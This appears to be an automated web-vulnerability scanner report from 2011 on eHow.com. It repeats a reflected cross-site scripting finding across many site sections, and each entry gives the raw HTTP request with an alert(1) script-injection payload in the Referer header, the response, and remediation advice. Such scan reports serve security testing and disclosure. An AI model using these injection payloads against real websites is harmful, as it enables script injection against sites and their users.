GET /education/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=4db7f</script><script>alert(1)</script>d6aab24c643
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:14 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75196
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Education - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca2a5</script><script>alert(1)</script>f5705aabf2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-family/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ca2a5</script><script>alert(1)</script>f5705aabf2
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:17 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45090
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7388</script><script>alert(1)</script>20d2e506214 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-food/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=b7388</script><script>alert(1)</script>20d2e506214
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:18 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46152
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea496</script><script>alert(1)</script>4ae4d3fc73d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-health/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ea496</script><script>alert(1)</script>4ae4d3fc73d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43325
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e7b4</script><script>alert(1)</script>d1b2f931b9c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-home/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=4e7b4</script><script>alert(1)</script>d1b2f931b9c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45118
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e797</script><script>alert(1)</script>6668a22c52 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-mobile.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9e797</script><script>alert(1)</script>6668a22c52
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:01 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 24864
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow Mobile | "How to do Almost Everything" by Ce ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8810</script><script>alert(1)</script>75cdd571dc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-money/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=a8810</script><script>alert(1)</script>75cdd571dc
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:17 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46804
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1092</script><script>alert(1)</script>7a563d731ac was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-style/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=b1092</script><script>alert(1)</script>7a563d731ac
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:17 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 45321
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2780c</script><script>alert(1)</script>12a8c6bf20b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ehow-tax-time/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=2780c</script><script>alert(1)</script>12a8c6bf20b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:17 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43203
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44044</script><script>alert(1)</script>01615995bf6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /electronics/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=44044</script><script>alert(1)</script>01615995bf6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:08 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71007
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Electronics - How To Information | eHow.com</titl ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8064d</script><script>alert(1)</script>7e97a32cd8a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /family-health/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8064d</script><script>alert(1)</script>7e97a32cd8a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:08 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72112
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Family Health - How To Information | eHow.com</ti ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2b8c</script><script>alert(1)</script>0b3ee37394 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fashion-and-style/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c2b8c</script><script>alert(1)</script>0b3ee37394
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:11 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71991
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Fashion & Style - How To Information | eHow.com</ ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12566</script><script>alert(1)</script>82ca7391521 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fitness/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=12566</script><script>alert(1)</script>82ca7391521
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:09 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71749
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Fitness - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8ac4</script><script>alert(1)</script>4b44af2fc08 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /flu-season/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d8ac4</script><script>alert(1)</script>4b44af2fc08
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:16 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 63751
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3116a</script><script>alert(1)</script>90cca8209f8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /food-and-drink/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=3116a</script><script>alert(1)</script>90cca8209f8
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:10 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73304
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Food & Drink - How To Information | eHow.com</tit ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ccef8</script><script>alert(1)</script>5bcf79e4aec was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forums.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ccef8</script><script>alert(1)</script>5bcf79e4aec
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:29 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22442
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ddff</script><script>alert(1)</script>7de5c8273d8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /groups.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=5ddff</script><script>alert(1)</script>7de5c8273d8
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:23 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22896
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abdc2</script><script>alert(1)</script>26163dc8dc4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /healthcare/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=abdc2</script><script>alert(1)</script>26163dc8dc4
Response
